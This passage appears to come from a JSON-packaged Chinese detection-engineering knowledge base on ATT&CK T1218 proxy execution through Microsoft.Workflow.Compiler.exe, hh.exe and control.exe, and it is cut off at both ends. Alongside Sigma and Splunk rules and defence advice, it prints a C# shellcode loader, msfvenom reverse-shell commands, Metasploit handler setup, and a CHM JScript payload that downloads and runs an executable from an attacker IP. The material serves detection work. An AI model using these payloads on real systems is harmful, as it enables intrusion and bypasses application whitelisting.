x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,\n0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,\n0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,\n0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };\n\nIntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);\n\nMarshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);\n\nIntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTf wBS = IntPtr.Zero;\n\nuint BnhanUiUJaetgy;\n\nbool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);\n\noXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);\n\nWaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}\n\n}\n```\n\n**执行监听**\n\n```bash\nuse exploit/multi/handler\nmsf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp\nmsf exploit(multi/handler) > set lhost 192.168.126.146\nmsf exploit(multi/handler) > set lport 4444\nmsf exploit(multi/handler) > exploit\n```\n\n**执行payload**\n\n```dos\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe poc.xml 1.cs\n```\n\n**接收session**\n\n进程意外终止，未获得会话。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID 4688：进程创建，记录`Microsoft.Workflow.Compiler.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID 1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID 7：映像加载，记录加载的DLL。\n  - 事件ID 12/13：注册表操作，可能涉及临时文件或编译结果。\n- 文件监控：\n  - 检测非标准路径下的XML或C#文件。\n- 网络监控：\n  - 检测`Microsoft.Workflow.Compiler.exe`发起的异常网络连接（如反弹Shell）。\n\n### 日志示例\n- 事件ID 4688示例：\n  ```\n  进程信息:\n    新进程名称:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe\n    命令行:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe poc.xml payload.cs\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n- Sysmon事件ID 1示例：\n  ```\n  事件ID:1\n  OriginalFileName:Microsoft.Workflow.Compiler.exe\n  CommandLine:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe poc.xml payload.cs\n  CurrentDirectory:C:\\Users\\Administrator\\\n  User:DOMAIN\\Administrator\n  Hashes:SHA1=BA135738EF1FB2F4C2C6C610BE2C4E855A526668\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`Microsoft.Workflow.Compiler.exe`的执行，特别是非开发环境中的调用。\n   - 检查命令行是否包含`.xml`和`.cs`文件。\n2. 命令行分析：\n   - 使用正则表达式匹配：\n     ```regex\n     Microsoft\\.Workflow\\.Compiler\\.exe.*\\.xml.*\\.cs\n     ```\n3. 文件监控：\n   - 检测非标准路径下的XML或C#文件，结合静态分析。\n4. 网络监控：\n   - 检测`Microsoft.Workflow.Compiler.exe`发起的异常网络连接。\n5. 行为分析：\n   - 检测加载的DLL或内存分配操作（如`VirtualAlloc`）。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle:可疑Microsoft.Workflow.Compiler.exe执行\nid:8f7b5e3a-7b9c-4f2a-9d8e-3c4f5b6a7c8d\ndescription:检测Microsoft.Workflow.Compiler.exe的异常调用，可能用于执行恶意XOML或C#代码\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|endswith:'\\Microsoft.Workflow.Compiler.exe'\n    CommandLine|contains:\n      - '.xml'\n      - '.cs'\n  filter_legitimate:\n    ParentImage|endswith:\n      - '\\msbuild.exe'\n      - '\\devenv.exe'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的.NET开发工作流编译（如Visual Studio或MSBuild）\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1218.001\n```\n\n规则说明：\n- 目标：检测`Microsoft.Workflow.Compiler.exe`加载XML和C#文件的执行。\n- 过滤：排除由开发工具（如`msbuild.exe`、`devenv.exe`）触发的合法调用。\n- 日志来源：Windows事件ID 4688（需启用命令行审核）或Sysmon事件ID 1。\n- 误报处理：合法开发场景可能触发，需结合文件路径和用户上下文分析。\n- 级别：标记为“高”优先级，因该工具在非开发环境中使用通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\Microsoft.Workflow.Compiler.exe\" CommandLine IN (\"*.xml*\",\"*.cs*\"))\n| fields Image,CommandLine,ParentImage,User\n```\n\n规则说明：\n- 检测`Microsoft.Workflow.Compiler.exe`的进程创建（事件ID 1），重点关注命令行中的`.xml`和`.cs`。\n- 减少误报：结合父进程和文件路径分析。\n\n### 检测挑战\n- 误报：合法.NET开发工作流可能触发，需结合上下文（如父进程、文件内容）。\n- 日志依赖：默认Windows日志可能不记录完整命令行，需启用审核策略或部署Sysmon。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID 4688记录完整参数。\n   - 部署Sysmon，配置针对`Microsoft.Workflow.Compiler.exe`的规则，监控进程创建和文件操作。\n2. 网络隔离：\n   - 限制非必要主机的出站连接，尤其是到未知IP的高危端口（如4444）。\n3. 文件审查：\n   - 定期扫描非系统路径下的XML和C#文件，结合静态分析。\n4. 权限控制：\n   - 限制普通用户执行`Microsoft.Workflow.Compiler.exe`的权限。\n5. 安全更新：\n   - 保持.NET Framework和Windows系统更新，修复潜在漏洞。\n\n## 参考推荐\n- MITRE ATT&CK T1218.001:  \n  <https://attack.mitre.org/techniques/T1218/001/>\n- 基于白名单Compiler.exe执行Payload第六季:  \n  <https://micro8.gitbook.io/micro8/contents-1/71-80/76-ji-yu-bai-ming-dan-compiler.exe-zhi-hang-payload-di-liu-ji>\n- 远控免杀专题(43)-白名单Compiler.exe执行Payload:  \n  <http://sec.nmask.cn/article_content?a_id=1b5c0f6a2e669c7605d42fd88f3f90fb>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Metasploit Framework: 用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon: Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.001-Win-签名的二进制代理执行-编译HTML文件.md",
    "content": "# T1218.001-使用编译的HTML文件执行Payload（白名单绕过）\n\n## 描述\n\n攻击者可利用编译的HTML帮助文件（.chm）隐藏和执行恶意代码。CHM文件是Microsoft HTML帮助系统的一部分，包含HTML文档、图像和脚本（如VBA、JScript、ActiveX）。这些文件通过`hh.exe`（HTML帮助可执行程序，位于`C:\\Windows\\hh.exe`）加载，依赖Internet Explorer的底层组件渲染内容。\n\n攻击者可创建包含恶意脚本的自定义CHM文件，通过网络钓鱼或多阶段恶意软件分发，诱导用户执行。恶意CHM文件可能触发VBA、JScript或ActiveX代码，执行Payload。在未打补丁或老旧系统（如Windows XP）上，`hh.exe`执行CHM文件可能绕过应用程序白名单（如AppLocker），因为`hh.exe`是Microsoft签名的合法工具。此外，CHM文件的脚本执行可能规避防病毒检测。\n\n## 测试案例\n\n### 案例说明\nCHM文件支持HTML内容和脚本语言（如VBA、JScript），通过`hh.exe`打开。攻击者可嵌入恶意脚本（如反弹Shell）在CHM文件中，诱导用户双击或通过命令行执行。以下是一个简单的测试案例：\n\n**创建恶意CHM文件**：\n1. 使用HTML帮助工作坊（HTML Help Workshop）创建CHM文件。\n2. 嵌入JScript代码，执行计算器作为测试：\n   ```html\n   <html>\n   <head>\n   <script language=\"JScript\">\n   function malicious() {\n       var shell = new ActiveXObject(\"WScript.Shell\");\n       shell.Run(\"calc.exe\");\n   }\n   </script>\n   </head>\n   <body onload=\"malicious()\">\n   <h1>Test CHM</h1>\n   </body>\n   </html>\n   ```\n3. 编译为`test.chm`，保存到`C:\\Users\\<username>\\Desktop\\test.chm`。\n4. 执行：`hh.exe C:\\Users\\<username>\\Desktop\\test.chm`。\n\n### 补充说明\n- 日志监控：\n  - 在高版本Windows系统（如Windows 7及以上），可通过组策略启用进程命令行参数记录：\n    - 路径：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`\n  - 部署Sysmon并配置规则，记录进程创建和脚本执行。\n- 局限性：\n  - 默认Windows日志可能不记录脚本执行细节，需启用审核策略或Sysmon。\n  - 合法CHM文件（如帮助文档）可能触发类似日志，需结合文件路径和内容分析。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID 4688：进程创建，记录`hh.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID 1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID 7：映像加载，记录加载的DLL（如`mshtml.dll`）。\n  - 事件ID 10：进程访问，可能涉及`hh.exe`调用子进程。\n- 文件监控：\n  - 检测非系统路径下的CHM文件。\n- 网络监控：\n  - 检测`hh.exe`引发的异常网络连接（如反弹Shell）。\n\n### 日志示例\n- 事件ID 4688示例：\n  ```\n  进程信息:\n    新进程名称:C:\\Windows\\hh.exe\n    命令行:hh.exe C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1218.001\\src\\T1218.001.chm\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n- Sysmon事件ID 1示例：\n  ```\n  事件ID:1\n  OriginalFileName:HH.exe\n  CommandLine:hh.exe C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1218.001\\src\\T1218.001.chm\n  CurrentDirectory:C:\\Users\\zhuli\\\n  User:QAX\\zhuli\n  Hashes:SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n\n## 测试复现\n\n### 环境准备\n- 攻击机：Kali Linux 2019（或其他支持Metasploit的系统）\n- 靶机：Windows 7（或其他支持CHM的Windows系统）\n- 工具：\n  - Metasploit Framework（生成Payload和监听）\n  - HTML Help Workshop（创建CHM文件）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 1.创建恶意CHM文件\n1. **生成JScript Payload**：\n   ```javascript\n   <html>\n   <head>\n   <script language=\"JScript\">\n   function malicious() {\n       var shell = new ActiveXObject(\"WScript.Shell\");\n       var client = new ActiveXObject(\"MSXML2.XMLHTTP\");\n       client.open(\"GET\", \"http://192.168.126.146:4444/payload\", false);\n       client.send();\n       if (client.status == 200) {\n           var stream = new ActiveXObject(\"ADODB.Stream\");\n           stream.Type = 1;\n           stream.Open();\n           stream.Write(client.responseBody);\n           stream.SaveToFile(\"C:\\\\Temp\\\\payload.exe\", 2);\n           stream.Close();\n           shell.Run(\"C:\\\\Temp\\\\payload.exe\");\n       }\n   }\n   </script>\n   </head>\n   <body onload=\"malicious()\">\n   <h1>Malicious CHM</h1>\n   </body>\n   </html>\n   ```\n   - 保存为`malicious.html`。\n   - 使用HTML Help Workshop编译为`T1218.001.chm`。\n\n2. **托管Payload**：\n   在攻击机上托管`payload.exe`（如通过HTTP服务器）：\n   ```bash\n   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f exe -o payload.exe\n   python3 -m http.server 4444\n   ```\n\n3. **配置攻击机监听**：\n   ```bash\n   msf5>use exploit/multi/handler\n   msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler)>set LHOST 192.168.126.146\n   msf5 exploit(multi/handler)>set LPORT 4444\n   msf5 exploit(multi/handler)>set AutoRunScript migrate -f\n   msf5 exploit(multi/handler)>exploit\n   ```\n\n4. **靶机执行Payload**：\n   将`T1218.001.chm`传输到靶机（如`C:\\Users\\zhuli\\Desktop\\`），执行：\n   ```cmd\n   hh.exe C:\\Users\\zhuli\\Desktop\\T1218.001.chm\n   ```\n   或双击`T1218.001.chm`。\n\n5. **结果分析**：\n   - CHM文件加载时，JScript下载并执行`payload.exe`，触发反弹Shell。\n   - 若未获得会话，检查：\n     - 防火墙是否阻止HTTP请求或TCP连接。\n     - CHM文件中的脚本是否被IE安全设置阻止。\n     - 系统是否启用了ActiveX限制。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID 4688：\n  ```\n  进程信息:\n    新进程名称:C:\\Windows\\hh.exe\n    命令行:hh.exe C:\\Users\\zhuli\\Desktop\\T1218.001.chm\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n\n### Sysmon日志\n- 事件ID 1：\n  ```\n  事件ID:1\n  OriginalFileName:HH.exe\n  CommandLine:hh.exe C:\\Users\\zhuli\\Desktop\\T1218.001.chm\n  CurrentDirectory:C:\\Users\\zhuli\\\n  User:QAX\\zhuli\n  Hashes:SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID 7：记录加载的DLL（如`mshtml.dll`）。\n- 事件ID 10：记录`hh.exe`调用子进程（如`payload.exe`）。\n- 网络连接：可能记录HTTP请求或TCP连接到`192.168.126.146:4444`。\n\n### 文件痕迹\n- CHM文件存储在用户指定路径（如`C:\\Users\\zhuli\\Desktop\\T1218.001.chm`）。\n- 下载的Payload存储在指定路径（如`C:\\Temp\\payload.exe`）。\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`hh.exe`加载非系统路径的CHM文件。\n   - 检查`hh.exe`触发的子进程（如`cmd.exe`、`payload.exe`）。\n2. 命令行分析：\n   - 使用正则表达式匹配：\n     ```regex\n     hh\\.exe.*\\.chm\n     ```\n3. 文件监控：\n   - 检测非标准路径下的CHM文件，结合静态分析检查脚本。\n4. 网络监控：\n   - 检测`hh.exe`发起的异常网络连接（如HTTP下载或反弹Shell）。\n5. 行为分析：\n   - 检测`hh.exe`加载`mshtml.dll`后执行ActiveX或JScript。\n   - 监控由CHM文件触发的子进程。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle:可疑CHM文件执行\nid:9c4d7e2a-3f8b-4a5c-9e7d-6f8e9c0a1b2d\ndescription:检测hh.exe加载可疑CHM文件，可能用于执行恶意脚本\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|endswith:'\\hh.exe'\n    CommandLine|contains:'.chm'\n  filter_legitimate:\n    CommandLine|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的CHM帮助文件（如软件文档）\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1218.001\n```\n\n规则说明：\n- 目标：检测`hh.exe`加载非系统路径CHM文件的执行。\n- 过滤：排除加载程序安装目录（如`C:\\Program Files`）中CHM文件的合法操作。\n- 日志来源：Windows事件ID 4688（需启用命令行审核）或Sysmon事件ID 1。\n- 误报处理：合法帮助文档可能触发，需结合文件路径和网络行为分析。\n- 级别：标记为“高”优先级，因CHM文件执行脚本通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\hh.exe\" CommandLine=\"*.chm*\")\nOR (EventCode=10 SourceImage=\"*\\hh.exe\" TargetImage IN (\"*\\cmd.exe\",\"*\\powershell.exe\",\"*\\wscript.exe\"))\n| fields Image,CommandLine,ParentImage,User,TargetImage\n```\n\n规则说明：\n- 检测`hh.exe`加载CHM文件（事件ID 1）和触发的子进程（事件ID 10）。\n- 减少误报：结合子进程和文件路径分析。\n\n### 检测挑战\n- 误报：合法CHM帮助文件可能触发，需结合文件内容和网络行为分析。\n- 日志依赖：脚本执行细节可能不记录，需部署Sysmon或增强日志策略。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID 4688记录完整参数。\n   - 部署Sysmon，配置针对`hh.exe`的规则，监控进程创建和子进程。\n2. 网络隔离：\n   - 限制非必要主机的出站连接，尤其是HTTP请求和高危端口（如4444）。\n3. 文件审查：\n   - 定期扫描非系统路径下的CHM文件，检查嵌入的脚本。\n4. 权限控制：\n   - 限制普通用户执行`hh.exe`或打开不受信任的CHM文件。\n5. 安全更新：\n   - 保持Windows系统和Internet Explorer更新，修复CHM执行相关漏洞。\n6. ActiveX限制：\n   - 配置IE安全设置，禁用未签名的ActiveX控件。\n\n## 参考推荐\n- MITRE ATT&CK T1218.001:  \n  <https://attack.mitre.org/techniques/T1218/001/>\n- 跟着ATT&CK学安全之defense-evasion:  \n  <https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Metasploit Framework: 用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon: Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n- HTML Help Workshop: 用于创建CHM文件。  \n  <https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-downloads>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.002-Win-使用Control.exe执行payload(白名单).md",
    "content": "# T1218.002-使用Control执行Payload（白名单绕过）\n\n## 描述\n\n`control.exe`是Windows操作系统自带的命令行工具，用于执行“控制面板”项目（Control Panel Items），以查看和调整计算机设置。控制面板项目可以是注册的可执行文件（.exe）或控制面板文件（.cpl），后者实际上是重命名的动态链接库（DLL）文件，需导出`CPlApplet`函数以在控制面板图形界面中显示。`control.exe`由Microsoft签名，位于`C:\\Windows\\System32\\control.exe`，被视为受信任的系统工具。\n\n攻击者可通过以下方式滥用`control.exe`：\n- **直接执行CPL文件**：通过命令行运行`control.exe file.cpl`，加载CPL文件的`CPlApplet`函数或`DllEntryPoint`。\n- **通过Rundll32间接执行**：使用`rundll32.exe`调用`shell32.dll`中的`Control_RunDLL`或`ControlRunDLLAsUser`函数加载CPL文件。\n- **伪装恶意DLL**：将恶意DLL重命名为`.cpl`扩展名并注册到`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls`，即使不导出`CPlApplet`函数，也可通过`DllEntryPoint`执行。\n\n此技术可通过网络钓鱼或其他恶意软件分发CPL文件，利用`control.exe`的信任地位绕过AppLocker或其他白名单防御机制。攻击者还可能通过伪装的CPL文件规避文件扩展名限制。\n\n## 测试案例\n\n### 案例说明\n`control.exe`用于启动控制面板或直接执行CPL文件。它不是核心系统进程，但终止可能导致不可预知的问题。CPL文件可以通过以下方式执行：\n- 命令行：`control.exe file.cpl`\n- Rundll32调用：`rundll32.exe shell32.dll,Control_RunDLL file.cpl`\n- 双击文件：直接运行`.cpl`文件，触发`control.exe`加载。\n\n**示例CPL文件**：\n创建一个简单的CPL文件（实际上是DLL），用于测试：\n```c\n#include <windows.h>\n\nBOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {\n    switch (ul_reason_for_call) {\n        case DLL_PROCESS_ATTACH:\n            MessageBox(NULL, L\"Malicious CPL loaded!\", L\"Test\", MB_OK | MB_ICONINFORMATION);\n            break;\n    }\n    return TRUE;\n}\n\n__declspec(dllexport) LONG CALLBACK CPlApplet(HWND hwndCpl, UINT uMsg, LPARAM lParam1, LPARAM lParam2) {\n    return 0;\n}\n```\n\n- 编译为`test.cpl`（实际为DLL）。\n- 保存到`C:\\Users\\<username>\\Desktop\\test.cpl`。\n- 执行：`control.exe C:\\Users\\<username>\\Desktop\\test.cpl`。\n\n### 补充说明\n- 日志监控：\n  - 在高版本Windows系统（如Windows 7及以上），可通过组策略启用进程命令行参数记录：\n    - 路径：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`\n  - 部署Sysmon并配置规则，记录进程创建、DLL加载和注册表操作。\n- 局限性：\n  - 默认Windows事件日志可能不记录完整命令行，需启用审核策略。\n  - 合法控制面板操作可能触发类似日志，需结合上下文分析。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID 4688：进程创建，记录`control.exe`或`rundll32.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID 1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID 7：映像加载，记录加载的DLL（如`shell32.dll`或恶意CPL）。\n  - 事件ID 12/13：注册表操作，记录对`HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Control Panel`等键的修改。\n- 文件监控：\n  - 检测非系统路径下的CPL文件。\n- 网络监控：\n  - 检测CPL文件引发的异常网络连接（如反弹Shell）。\n\n### 日志示例\n- Sysmon事件ID 1示例：\n  ```\n  事件ID:1\n  OriginalFileName:control.exe\n  CommandLine:control.exe C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1218.002\\bin\\calc.cpl\n  CurrentDirectory:C:\\Users\\zhuli\\\n  User:QAX\\zhuli\n  Hashes:SHA1=6778DAD71C8B06264CF2929A5242D2612D3EB026\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- Sysmon事件ID 7示例（Rundll32加载）：\n  ```\n  事件ID:7\n  Image:C:\\Windows\\SysWOW64\\rundll32.exe\n  ImageLoaded:C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1218.002\\bin\\calc.cpl\n  ```\n\n## 测试复现\n\n### 环境准备\n- 攻击机：Kali Linux 2019（或其他支持Metasploit的系统）\n- 靶机：Windows 7（或其他支持`control.exe`的Windows系统）\n- 工具：\n  - Metasploit Framework（生成Payload和监听）\n  - C编译器（如MinGW或Visual Studio，生成CPL文件）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 1.生成恶意CPL文件\n使用`msfvenom`生成恶意CPL文件（实际为DLL）：\n```bash\nmsfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f dll -o calc.cpl\n```\n- 参数说明：\n  - `-a x86`：指定32位架构。\n  - `-p windows/meterpreter/reverse_tcp`：生成反弹Shell。\n  - `LHOST`和`LPORT`：攻击机IP和端口。\n  - `-f dll`：输出为DLL，命名为`.cpl`。\n\n将`calc.cpl`传输到靶机（如`C:\\Users\\zhuli\\Desktop\\calc.cpl`）。\n\n#### 2.配置攻击机监听\n在攻击机上使用Metasploit配置反弹Shell监听：\n```bash\nmsf5>use exploit/multi/handler\nmsf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp\nmsf5 exploit(multi/handler)>set LHOST 192.168.126.146\nmsf5 exploit(multi/handler)>set LPORT 4444\nmsf5 exploit(multi/handler)>set AutoRunScript migrate -f\nmsf5 exploit(multi/handler)>exploit\n```\n\n#### 3.执行Payload\n在靶机上执行：\n```cmd\ncontrol.exe C:\\Users\\zhuli\\Desktop\\calc.cpl\n```\n或使用Rundll32：\n```cmd\nrundll32.exe shell32.dll,Control_RunDLL C:\\Users\\zhuli\\Desktop\\calc.cpl\n```\n\n#### 4.反弹Shell\n执行后，`calc.cpl`通过`DllEntryPoint`加载，触发Payload，连接到攻击机的Metasploit监听端口，生成Meterpreter会话。若未成功，检查：\n- 防火墙是否阻止出站连接。\n- CPL文件是否正确生成（32位/64位兼容）。\n- 命令行参数是否正确。\n\n#### 5.注册CPL文件（可选）\n将CPL文件注册到控制面板：\n```cmd\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls\" /v \"TestCPL\" /t REG_SZ /d \"C:\\Users\\zhuli\\Desktop\\calc.cpl\" /f\n```\n注册后，双击或通过控制面板界面加载CPL文件。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID 4688：\n  - 记录`control.exe`或`rundll32.exe`的执行：\n    ```\n    进程信息:\n      新进程名称:C:\\Windows\\System32\\control.exe\n      命令行:control.exe C:\\Users\\zhuli\\Desktop\\calc.cpl\n      创建者进程名称:C:\\Windows\\System32\\cmd.exe\n    ```\n\n### Sysmon日志\n- 事件ID 1：\n  - 记录进程创建：\n    ```\n    事件ID:1\n    OriginalFileName:control.exe\n    CommandLine:control.exe C:\\Users\\zhuli\\Desktop\\calc.cpl\n    CurrentDirectory:C:\\Users\\zhuli\\\n    User:QAX\\zhuli\n    Hashes:SHA1=6778DAD71C8B06264CF2929A5242D2612D3EB026\n    ParentImage:C:\\Windows\\System32\\cmd.exe\n    ```\n- 事件ID 7：\n  - 记录加载的CPL文件：\n    ```\n    事件ID:7\n    Image:C:\\Windows\\SysWOW64\\rundll32.exe\n    ImageLoaded:C:\\Users\\zhuli\\Desktop\\calc.cpl\n    ```\n- 事件ID 12/13：\n  - 记录注册表修改，如`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls`。\n\n### 文件痕迹\n- CPL文件存储在用户指定路径（如`C:\\Users\\zhuli\\Desktop\\calc.cpl`）。\n- 注册表键（如`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls`）可能被修改。\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`control.exe`或`rundll32.exe`加载非系统路径的CPL文件。\n   - 检查命令行是否包含`.cpl`或`Control_RunDLL`。\n2. 命令行分析：\n   - 使用正则表达式匹配：\n     ```regex\n     (control\\.exe.*\\.cpl)|(rundll32\\.exe.*shell32\\.dll,Control_RunDLL.*\\.cpl)\n     ```\n3. 文件监控：\n   - 检测非`C:\\Windows\\System32`或`C:\\Windows\\SysWOW64`路径下的CPL文件。\n4. 注册表监控：\n   - 检测对`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls`或`HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Control Panel`的修改。\n5. 行为分析：\n   - 检测`rundll32.exe`加载未导出`CPlApplet`的CPL文件。\n   - 监控`control.exe`或`rundll32.exe`发起的异常网络连接。\n\n### Sigma规则\n以下是针对`control.exe`和`rundll32.exe`可疑CPL执行的Sigma规则，适用于SIEM系统（如Splunk、Elastic）。\n\n```yaml\ntitle:可疑控制面板CPL文件执行\nid:7a8b9c4d-2e3f-4b5a-8c9e-6f7d8e9f0a1b\ndescription:检测control.exe或rundll32.exe加载可疑CPL文件，可能用于代理执行恶意代码\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection_control:\n    Image|endswith:'\\control.exe'\n    CommandLine|contains:'.cpl'\n  selection_rundll32:\n    Image|endswith:'\\rundll32.exe'\n    CommandLine|contains:\n      - 'shell32.dll,Control_RunDLL'\n      - 'shell32.dll,ControlRunDLLAsUser'\n      - '.cpl'\n  filter_legitimate:\n    CommandLine|contains:\n      - 'C:\\Windows\\System32\\'\n      - 'C:\\Windows\\SysWOW64\\'\n  condition:(selection_control or selection_rundll32) and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法控制面板操作（如系统管理员运行`control.exe`加载官方CPL文件）\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1218.002\n```\n\n规则说明：\n- 目标：检测`control.exe`或`rundll32.exe`加载非系统路径CPL文件的执行。\n- 过滤：排除加载系统目录（如`C:\\Windows\\System32`）中CPL文件的合法操作。\n- 日志来源：Windows事件ID 4688（需启用命令行审核）或Sysmon事件ID 1。\n- 误报处理：合法控制面板操作可能触发，需结合CPL文件路径和注册表上下文分析。\n- 级别：标记为“高”优先级，因CPL文件异常执行通常与恶意活动相关。\n\n### Splunk规则\n优化后的Splunk查询，用于检测`control.exe`和`rundll32.exe`的异常CPL执行：\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image IN (\"*\\control.exe\",\"*\\rundll32.exe\") CommandLine IN (\"*.cpl*\",\"*shell32.dll,Control_RunDLL*\",\"*shell32.dll,ControlRunDLLAsUser*\"))\nOR (EventCode IN (12,13) TargetObject IN (\"*Microsoft\\Windows\\CurrentVersion\\Control Panel*\",\"*CLSID*\",\"*NameSpace*\",\"*Shellex\\PropertySheetHandlers*\"))\n| fields Image,CommandLine,ParentImage,User,TargetObject\n```\n\n规则说明：\n- 检测`control.exe`或`rundll32.exe`的CPL相关执行（事件ID 1）和控制面板注册表操作（事件ID 12/13）。\n- 减少误报：排除系统路径CPL文件的合法操作。\n\n### 检测挑战\n- 误报：合法控制面板操作可能触发，需结合CPL文件路径和哈希值分析。\n- 日志依赖：默认Windows日志可能不记录完整命令行，需启用审核策略或部署Sysmon。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID 4688记录完整参数。\n   - 